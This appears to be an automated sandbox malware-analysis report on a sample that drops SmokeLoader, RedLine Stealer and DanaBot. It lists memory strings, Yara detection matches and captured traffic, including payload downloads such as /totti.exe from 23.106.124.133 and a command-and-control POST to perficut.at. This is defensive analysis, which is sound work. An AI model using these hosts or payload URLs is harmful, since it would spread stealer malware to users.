Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pcgrate.com/wp-content/uploads/about-300x298.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pcgrate.com/wp-content/uploads/woocommerce_uploads/logo-sdw6o6.gif
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pepabo.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://s.rankmath.com/home
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://schema.org
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.minne.com/files/banner/minne_600x500
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.lolipop.jp/hc/ja/articles/360049132953
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tickets.suresupport.com/faq/article-1596/en
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aevga.com/
Source: DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.aevga.com/5
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.c9dd.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com?utm_source=challenge&utm_campaign=m
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.crcsi.org/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.credo.edu.pl/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.edimart.hu/
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.fcwcvt.org/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/api.js?render=explicit&ver=3.3.1
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.jacomfg.com/
Source: DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mqs.com.br/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.naoi-a.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olras.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ora-ito.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#author
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#logo
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#organization
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#richSnippet
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#webpage
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/#website
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/?s=
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/cart/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/checkout/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/comments/feed/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/feed/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-admin/admin-ajax.php
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1024px-Logo_Ball_Corporation.svg_-e1637155176306.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1200px-Zeiss_logosvg-e1626287816597.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1280px-Jet_Propulsio.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/1920px-Raytheon.svg_-1-e1626285787717.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/Huawei-Logowine-1.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/IIG_logo-5.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/Newport-logo-76F09AD2F3-seeklogo.com_-e1626287837846.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about-150x150.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about-200x200.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about-300x298.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/about.jpg
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/bae_systems-1.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/horiba_1.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-content/uploads/logo_01-1.png
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.pcgrate.com%2F
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.pcgrate.com%2F&format=xm
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/wp-json/wp/v2/pages/1009
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pcgrate.com/xmlrpc.php?rsd
Source: DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.556938701.000000000729E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pwd.org/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.quadlock.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stajum.com/
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A
Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: unknown

DNS traffic detected: queries for: perficut.at

Source: global traffic	HTTP traffic detected: GET /systems/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: beg.com.ve
Source: global traffic	HTTP traffic detected: GET /totti.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.106.124.133
Source: global traffic	HTTP traffic detected: GET /64.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h167471.srv11.test-hf.su

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706

Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.106.124.133

Source: DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-6def677" href="https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A" target="_blank"> equals www.youtube.com (Youtube)

Source: unknown

HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mpgrnvliti.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: perficut.at

Source: unknown

HTTPS traffic detected: 190.114.9.88:443 -> 192.168.2.3:49706 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.385075988.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.385012924.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.306962028.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: EF7A.exe, 0000000C.00000003.397161746.000000007F700000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: RegisterRawInputDevices

E-Banking Fraud

Yara detected DanaBot stealer dll

Source: Yara match	File source: 12.3.EF7A.exe.30f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.EF7A.exe.30f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000003.393821352.00000000030F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 20.2.D02D.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.D02D.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000000.00000002.306905404.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000B.00000002.384731155.000000000087B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000014.00000002.478090484.0000000002290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000B.00000002.385075988.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000B.00000002.385012924.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.306962028.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000014.00000002.477652403.00000000007B1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.467983905.00000000005FB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.384643477.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.306754047.00000000008BD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

PE file has a writeable .text section

Source: DFC9.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pigalicapi.exe.21.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040244C	0_2_0040244C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040289A	0_2_0040289A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040273F	0_2_0040273F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D22E	0_2_0040D22E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F0AB	0_2_0040F0AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040FB33	0_2_0040FB33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E5CD	0_2_0040E5CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004095E4	0_2_004095E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F5EF	0_2_0040F5EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_023D2901	0_2_023D2901
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040244C	11_2_0040244C
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040289A	11_2_0040289A
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040273F	11_2_0040273F
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040D22E	11_2_0040D22E
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040F0AB	11_2_0040F0AB
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040FB33	11_2_0040FB33
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040E5CD	11_2_0040E5CD
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_004095E4	11_2_004095E4
Source: C:\Users\user\AppData\Roaming\rgtrtas	Code function: 11_2_0040F5EF	11_2_0040F5EF

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\DFC9.exe 0FC239EEF963BDC00F2DF0E9B581C68925B86E28DE511AD12EFB881CE2B1CF23

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 20.2.D02D.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.D02D.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000000.00000002.306905404.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000B.00000002.384731155.000000000087B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000014.00000002.478090484.0000000002290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000B.00000002.385075988.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
